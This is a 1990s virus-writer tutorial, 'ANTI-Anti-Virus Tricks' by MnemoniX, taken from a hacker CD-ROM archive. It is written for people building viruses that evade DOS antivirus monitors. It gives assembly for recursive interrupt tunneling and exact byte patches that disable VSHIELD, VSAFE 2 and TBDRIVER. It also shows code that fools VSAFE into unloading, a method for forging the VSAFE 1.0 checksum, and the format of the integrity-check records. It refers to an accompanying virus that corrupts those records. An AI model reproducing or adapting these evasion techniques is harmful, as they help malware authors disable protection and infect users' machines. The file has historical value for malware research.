home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / anti-av.txt < prev    next >
Encoding:
Text File  |  1996-04-22  |  21.2 KB  |  432 lines

  1.  
  2.                             ANTI-Anti-Virus Tricks
  3.                                  by MnemoniX
  4.                              Version 1.00 - 1/96
  5.  
  6.         Improved antivirus programs got you down? Don't worry - with the help
  7. of this file you can create a virus that will surpass the protection of most
  8. computers out there, computers whose hapless users are convinced are truly
  9. "protected."
  10.  
  11. Before we begin, I must first introduce the concept of ...
  12.  
  13.                            ***********************
  14.                            * RECURSIVE TUNNELING *
  15.                            ***********************
  16.  
  17.         Recursive tunneling is the practice of tracing the code attached to
  18. a particular interrupt and finding the original DOS or BIOS code, surpassing
  19. all resident programs (AV monitors included.) This involves using the trap
  20. flag in the flags register, which can be turned on with the following code:
  21.  
  22.                                 mov     ax,100h ; set bit 8 (trap flag)
  23.                                 push    ax
  24.                                 popf
  25.  
  26.         Once this trap flag is set, a type 1 interrupt is generated after
  27. each instruction. We can catch this interrupt and trace the interrupt 21h
  28. code, for example, by calling interrupt 21 with the trap flag on. (Note that
  29. you must CALL the interrupt 21h routine, and not run it using INT 21h;
  30. otherwise, the trap flag is automatically turned off when the INT instruction
  31. is run.) To find the original DOS or BIOS code, then, one must:
  32.  
  33.                 1) Attach a tunneling routine to interrupt 1.
  34.                 2) Find the original segment of the DOS or BIOS code
  35.                    we are tracing. (there are various ways to do this)
  36.                 3) Set the trap flag.
  37.                 4) Call the interrupt routine (NOT with an INT). Do it like
  38.                    this:
  39.  
  40.                         xor     ax,ax
  41.                         mov     ds,ax
  42.                         pushf
  43.                         call    dword ptr ds:[21h * 4]  ; calls INT 21h
  44.  
  45.                 5) Tunneling routine should trace code until original DOS
  46.                    or BIOS segment is reached by continually checking segment
  47.                    of current instruction. Once DOS or BIOS segment is
  48.                    reached, the current offset must be saved and tunneling
  49.                    routine stops checking code.
  50.                 6) Clear trap flag by clearing bit 8 in flags.
  51.  
  52.  
  53.         When address of original interrupt is found, the interrupt may be
  54. called without the resident programs in memory knowing anything about it.
  55.  
  56.         A note: The trap flag may be turned off by a POPF or IRET instruction,
  57. which will screw up your routine. To prevent this, you must check the current
  58. instruction and see if it is a POPF or IRET. If so, we must set bit 8 of the
  59. flags value on the stack BEFORE the POPF or IRET is processed, to make sure
  60. the trap flag stays set. (An interrupt call saves the flags value on the
  61. stack, and thus the flags are popped after CS:IP when an IRET instruction is
  62. run. In case you didn't know.)
  63.  
  64.         Similarly, you can partially hide the existence of your tunneling
  65. routine. Whenever an INT, INTO, or PUSHF instruction is reached, you can
  66. alter the value on the stack after the instruction is run. This is generally
  67. not necessary, however, and does not totally hide the tunneling routine
  68. anyway - there are many other ways to generate an interrupt, thus causing the
  69. flags value to be saved and the trap discovered.
  70.  
  71.         Recursive tunneling will enable you to engage in questionable actions
  72. without knowledge of AV programs. However, this does not render these actions
  73. undetectable. TBDRIVER, for example, can detect and warn the user of a
  74. recursive tunneling routine. And although VSAFE can't find a tunneling rou-
  75. tine, it can detect changes to a program when the program is run again. So
  76. what does one do to make these programs look the other way?
  77.  
  78. This is where we introduce the concept of ...
  79.  
  80.                                 ************
  81.                                 * PATCHING *
  82.                                 ************
  83.  
  84.         Patching involves fixing up a resident program to alter its perfor-
  85. mance. If a hypothetical program is to scan for viruses every time a program
  86. is run, it could capture interrupt 21h, and somewhere along the line it could
  87. use code like this to scan every program being run :
  88.  
  89. int_21_code:                            ; called when interrupt 21h is called
  90.                 cmp     ah,4Bh          ; is a program being executed?
  91.                 je      scan_program    ; if so, scan it
  92.  
  93.                 jmp     original_int_21 ; if not, ignore it
  94.  
  95.         This program's ability to scan for viruses is dependent upon the JE
  96. instruction that checks for every call to interrupt 21h with AH=4Bh (the DOS
  97. program execution function.)
  98.  
  99.         Now, if you wanted to deactivate this program, you could search for
  100. this little snippet of code when you tunnel through interrupt 21h, and upon
  101. finding it, change the two-byte JE instruction into two NOP's:
  102.  
  103. int_21_code:
  104.                 cmp     ah,4Bh          ; is a program being executed?
  105.                 nop                     ; doesn't matter, because even if it
  106.                 nop                     ; was we would return to the original
  107.                                         ; interrupt 21h anyway
  108.                 jmp     original_int_21 ; see?
  109.  
  110.         After this is done, the program won't find ANY viruses, and it becomes
  111. a waste of memory - all because two bytes were changed!
  112.  
  113.         Note that if this same program caught interrupt 13h, or also checked
  114. programs as they were opened, it would still do these things. We have simply
  115. prevented the program from checking programs as they are executed. In many
  116. cases, a single patch like this will suffice.
  117.  
  118.         This is the essence of patching, and an example of using patching in a
  119. tunneling routine to deactivate certain popular AV programs is found in the
  120. program AV-KILL.ASM. This checks for the existence of TBDRIVER, VSAFE, and
  121. VSHIELD in memory, and patches them if they are found.
  122.  
  123. And now, I will discuss the various ways to defeat individual virus scanners.
  124. I should note that these are based on SPECIFIC VERSIONS of SPECIFIC MONITORS,
  125. and will NOT work for every version of every monitor. These may be updated as
  126. new monitors come out.
  127.  
  128.                              ********************
  129.                              * VSHIELD (McAfee) *
  130.                              ********************
  131.  
  132.         Do you really need to guard against VSHIELD? Well, a new virus will
  133. never be detected by VSHIELD, but future versions may be able to scan for
  134. that same virus. Fortunately, VSHIELD is quite easy to disarm and render
  135. useless.
  136.  
  137. PATCHING VSHIELD
  138.  
  139.         This patch will prevent VSHIELD from detecting any viruses. This
  140. was tested on VSHIELD V106 - an old version - and probably will not work
  141. on every version, but what the hell. There is a portion of the code which
  142. looks like this:
  143.  
  144.         80 FC 0E        cmp     ah,0E
  145.         74 06           je      0A1C
  146.         80 FC 4B        cmp     ah,4B
  147.         74 09           je      0A24
  148.  
  149.         To fix this up, you can :
  150.         
  151.         replace the first byte (80) with CB (a RET)
  152.           
  153.         OR 
  154.  
  155.         replace the second JZ (74 09) with two NOP's (90 90)
  156.  
  157. Either way VSHIELD will no longer scan files as they are executed.
  158.  
  159. How can you get the original host program past VSHIELD, before VSHIELD has
  160. been patched? Just encrypt it or PKLITE it. Simple enough.
  161.  
  162.                 ****************************************************
  163.                 * VSAFE versions 1 and 2 (Central Point/Microsoft) *
  164.                 ****************************************************
  165.  
  166.         While VSAFE 1.0 was conquered a long time ago, not much seems to have
  167. been done to hack VSAFE 2. Making a virus or hacked program VSAFE-resistant
  168. will make it much more viable, since it is a popular AV monitor. The old
  169. tricks that could be played on VSAFE 1 (which was pure crapware) no longer
  170. work like they used to. Here is what I was able to find though a little bit of
  171. investigation ... (BTW, this was tested on MSAV 1.0 and CPAV 2.2. It should
  172. be similar for other versions except where noted.)
  173.         Firstly, as with all versions, one can check for the presence of VSAFE
  174. in memory with the following code:
  175.  
  176.                         mov     ax,0FA00h
  177.                         mov     dx,5945h        ("VS")
  178.                         int     16h
  179.  
  180.         If DI = 4559h ("SV"), VSAFE is present. Functions 16/FA03 and 16/FA08
  181. will return constant values whose significance is unbeknownst to me - they
  182. don't seem to be version numbers.
  183.         Next, the old trick which deinstalled VSAFE, which was the same as the
  184. above code except AX = FA01h, won't cut it anymore. Nor will it change the
  185. VSAFE flags anymore when AX = FA02h. Does this mean that the you can no longer
  186. make VSAFE turn the other way? Hardly - there are still ways around it.
  187. (Remember, _no_ program is immune to being duped.) 
  188.         The two functions to deinstall or change VSAFE options are still there,
  189. but now there's a twist: It checks to see which program is running before it
  190. will act. This is a pain to get around, but not impossible. You can find the
  191. name of the current resident program in the DOS environment, which is found
  192. by getting the DOS environment segment (at offset 2Ch in the PSP), finding
  193. the name of the current program (the environment table is at offset 0, then
  194. two zero bytes signal the end of it, and then there's another two bytes, after
  195. which the name of the current program is found) and changing it to
  196. "\VSAFE.EXE".
  197.         Actually, you don't even need to go to all that trouble. You see,
  198. VSAFE doesn't actually check the filename; it just makes a checksum of the
  199. letters in the filename minus extension. I am hesitant to go into the details
  200. of this now; if you want to see how the checksum works examine it yourself.
  201. Suffice it to say that if, before the period in the filename, you insert the
  202. three-byte hex string 5CFF76, VSAFE will think it's being loaded. Do I hear
  203. cries for an example?
  204.  
  205.                 mov     ax,ds:[2Ch]             ; get environment segment
  206.                 mov     es,ax
  207.  
  208.                 xor     di,di                   ; after the table of environ-
  209.                 mov     cx,17D0h                ; ment strings, we will find
  210.                 xor     al,al                   ; the current program name
  211.  
  212. find_environ_end:
  213.                 repnz   scasb                   ; scan through environment
  214.                 cmp     byte ptr es:[di],0      ; end of table?
  215.                 jnz     find_environ_end
  216.  
  217.                 add     di,3                    ; address of program name
  218.                 mov     al,'.'                  ; find extension
  219.                 repnz   scasb                   ; extension found
  220.  
  221.                 mov     si,es:[di - 3]          ; save orig. program name
  222.                 mov     es:[di - 3],76FFh       ; modify program name
  223.                 mov     bh,es:[di - 4]          ; make VSAFE think it is
  224.                 mov     byte ptr es:[di - 4],5Ch ; calling itself
  225.  
  226. ; VSAFE 2 may now be unloaded
  227.  
  228.                 mov     ax,0FA01h               ; unload VSAFE
  229.                 mov     dx,5945h
  230.                 int     16h
  231.  
  232. ; fix up program name again
  233.  
  234.                 mov     es:[di - 3],si          ; replace orig. program name
  235.                 mov     es:[di - 4],bh
  236.  
  237.         Here is a listing of all the VSAFE functions you need to know.
  238.  
  239.         (All functions called by INT 16h with DX = 5945h)
  240.           AX = FA00h - Test for VSAFE resident
  241.                         DI=4559h on return is res.
  242.           AX = FA01h - Deinstall VSAFE
  243.           AX = FA02h - Change VSAFE flag settings
  244.                         BL=bits 0-7 represent settings for flags 1-8, resp.
  245.                         on return, CL holds previous flag setting
  246.           AX = FA05h - Turn popup menu on/off
  247.                         BL=0 (on) or 1 (off)
  248.  
  249.         Version 2 checks name of program currently running before executing
  250.         functions FA01, FA02 or FA05.
  251.  
  252.         Deinstalling VSAFE works well if nothing is loaded after it in
  253. memory. However, this may not be the case, and if other programs are loaded
  254. VSAFE gives an error message. Hence I don't consider this the best way to
  255. deactivate the program. A better way would be to patch up VSAFE as described
  256. below, and upon writing the disk, save the VSAFE flags and switch them all
  257. off, then restore when done. This should keep it quiet.
  258.         If you're too lazy to mess around with that, there's an even easier
  259. way. The flag status byte in VSAFE 2 is located at offset 0F1Dh in the code,
  260. and you can modify it directly upon finding VSAFE's segment (check INT 16h's
  261. segment.) This particular method will only work for version 2.2; the address
  262. is probably different for other versions.
  263.         Moving on, one will find that the old CHKLIST.CPS files have now been
  264. replaced by SMARTCHK.CPS files, which have a different format. (The MSAV 
  265. equivalents of these files are CHKLIST.MS and SMARTCHK.MS, respectively.) Each
  266. record is 60 bytes long, and consists of the following data:
  267.  
  268.                 Data                            Offset  Length
  269.                 ----------------------------------------------
  270.                 ASCIIZ filename                 0       13
  271.                 File attributes                 13      1
  272.                 File size                       14      4
  273.                 File time                       18      2
  274.                 File date                       20      2
  275.                 First 32 bytes of file          22      32
  276.                 Checksum data                   54      4
  277.                 Apparently always set to zero.  58      2
  278.  
  279.         Now, a VSAFE-smart virus could increase its stealthiness by modifying
  280. this data, which isn't as much of a pain as it may sound. It could modify the 
  281. filenames, so VSAFE no longer properly checks the programs. A more ambitious
  282. programmer could look for the filename, change the first few recorded bytes of
  283. the file, change the date, and fix the checksum. But how do we calculate the
  284. checksum, you ask? Good question. The checksum routine in VSAFE 2 is long and
  285. complicated. (In case you were wondering, the VSAFE 1.0 checksum can be
  286. calculated like this:
  287.  
  288.                 DS:SI = offset of first 64 bytes of file
  289.                         (or if file is < 64 bytes long, the entire file)
  290.                 BX = high word of 32-bit checksum
  291.                 DX = low word of 32-bit checksum
  292.                 CX = 64 (for loop) or size of file if < 64 bytes
  293.                 AH = 0 (for addition)
  294.  
  295.         vsafe_checksum:
  296.                 lodsb                   ; add first byte
  297.                 add     dx,ax
  298.                 adc     bx,0
  299.                 lodsb                   ; subtract second byte
  300.                 sub     dx,ax
  301.                 sbb     bx,0
  302.                 lodsb                   ; XOR third byte by first checksum
  303.                 xor     dl,al           ; byte only
  304.                 sub     cx,3
  305.                 cmp     cx,2
  306.                 ja      vsafe_checksum
  307.  
  308. The finished checksum is in BX:DX.) I haven't figured out the VSAFE 2 checksum
  309. routine yet - it's much more complicated. But you're welcome to look.
  310.         The included UNSAFE.ASM program is a virus, and demonstrates the
  311. manipulation of VSAFE flags and corruption of SMARTCHK.CPS files. As a
  312. demonstration, try setting the write protect flag on, and then infect a few
  313. files. VSAFE will not warn you of the write, because the flags are temporarily
  314. turned off by the virus when it spreads. Examine and learn.
  315.  
  316. PATCHING VSAFE
  317.  
  318. When VSAFE 2.2 is installed, it installs a routine onto interrupt 21h which
  319. checks for different DOS calls, as all monitors do. There is a portion of the
  320. interrupt 21 code which looks like this :
  321.  
  322. 80 FC 4B        cmp     ah,4B           ; this catches the DOS execute program
  323. 74 62           jz      0BAF            ; call so VSAFE can do program checks
  324. 80 FC 4C        cmp     ah,4C           ; this catches a DOS terminate program
  325. 74 33           jz      0B85            ; call so VSAFE can check memory
  326. 80 FC 00        cmp     ah,0            ; another terminate program call check
  327. 74 15           jz      0B6C
  328.  
  329.         If we set the trap flag, set AH to 99h (or any nonexistent function
  330. call), call interrupt 21 and scan the code with a tracing routine, we will
  331. eventually find this point. Once we do, it's quite simple to eliminate VSAFE
  332. checks when a program begins and ends:
  333.  
  334. 80 FC 4B        cmp     ah,4B
  335. 90              nop                     ; the JZ's have been replaced with two
  336. 90              nop                     ; NOP's each ... VSAFE will no longer
  337. 80 FC 4C        cmp     ah,4C           ; check programs as they are run,
  338. 90              nop                     ; or check memory when a program
  339. 90              nop                     ; terminates, because it won't know
  340. 80 FC 4C        cmp     ah,0            ; when these things happen anymore.
  341. 90              nop
  342. 90              nop
  343.  
  344.         (A brief note: A program can also terminate via interrupt 20h, and
  345. VSAFE _will_ check memory if a program terminates this way. This interrupt
  346. is more difficult to tunnel - once the DOS segment is reached, the tunneling
  347. must be stopped - but it is not impossible. A similar patch could be created
  348. to solve the problem.)
  349.  
  350.                                ***************
  351.                                * Thunderbyte *  
  352.                                ***************
  353.  
  354. TB MONITORS
  355.  
  356.         All TB monitors work through TBDRIVER and hook the critical interrupts
  357. 21h,13h, and 40h. These same monitors can be defeated by recursive tunneling
  358. if TBDRIVER's ability to detect such tunneling is deactivated, however.
  359.  
  360.  
  361. TBDRIVER'S DETECTION OF RECURSIVE TUNNELING
  362.  
  363.         TBDRIVER is resistant to most recursive tunneling. When an interrupt
  364. 21 is called, TBDRIVER checks the status of the trap flag for a recursive
  365. tunneling routine and will display a message if it is found to be set. The
  366. code that does this appears virtually impenetrable, and looks like this:
  367.  
  368. (This is from TBDRIVER version 6.14; it may be different now but the idea
  369.  is basically the same.)
  370.  
  371.                 cli                     ; clear interrupts to prevent
  372.                 pushf                   ; interference ...
  373.                 cld
  374.                 push    ax              ; what this, in essence, does is
  375.                 push    bx              ; that is saves a value on the stack,
  376.                 xchg    ax,bx           ; pops it, decrements the stack ptr.
  377.                 pop     ax              ; to point to it again, pops it again,
  378.                 dec     sp              ; and if the value changed, an int-
  379.                 dec     sp              ; errupt must have occured. Since the
  380.                 pop     bx              ; interrupt flag is off, the only
  381.                 cmp     ax,bx           ; interrupt this could be is a type 1 -
  382.                 pop     bx              ; the trap flag interrupt routine.
  383.                 jz      02A1            ; If two values popped are different,
  384.                                         ; it warns the user.
  385.  
  386. PATCHING TBDRIVER
  387.  
  388.         Now, there is no way to fool this routine. You can't hide the change
  389. to the value on the stack. However, you _can_ scan for this code in your
  390. tunneling routine, and modify it if it is found. You could look, for example,
  391. for the following code in the interrupt 21 routine:
  392.  
  393. 5C              pop     bx
  394. 3B C3           cmp     ax,bx
  395. 5B              pop     bx
  396. 74 0D           jz      02A1
  397.  
  398.         If we find the string 5C 3B C3 5B 74 0D, we know TBDRIVER is present.
  399. The next step is modifying the code to make it useless.
  400.         The JZ instruction is the test. If AX and BX are equal, then the Z
  401. flag is set, and if the Z flag is set, the code is not being traced as far
  402. as TBDRIVER is concerned. Hence, you want it to act as though the Z flag was
  403. _always_ set. You could do this by changing the instruction to a JMP:
  404.  
  405. EB 0D           jmp     02A1
  406.  
  407.         Now you find the original offset of DOS's interrupt 21 with the same
  408. tunneling routine, and call it directly, bypassing all TB utilities.
  409.  
  410. DISABLING TBSCANX
  411.  
  412.         Earlier versions of TBSCANX hook INT 2Fh when they load, and install 
  413. the following functions :
  414.  
  415.         AX = CA00h      Test for installation (return FF in AL if res.)
  416.                         BX = 'TB'  ('tb' on return if resident)
  417.         AX = CA04h      Scan file
  418.                         DS:DX = program to be scanned
  419.                         (carry set means infected, ES:BX=filename)
  420.  
  421. With a little work and a good debugger, you can trace the code of other AV
  422. monitors and find similar code in the interrupt 21h or 13h routines. If you
  423. know what you're doing, you could create similar patches to the ones above
  424. for these monitors. The same could be done with non-resident virus scanners,
  425. although this is a more difficult job, and not really worth it in my opinion
  426. since most good scanners check themselves and probably won't find any _good_
  427. new virus anyway.
  428.  
  429.                                                 - MnemoniX
  430.  
  431.  
  432.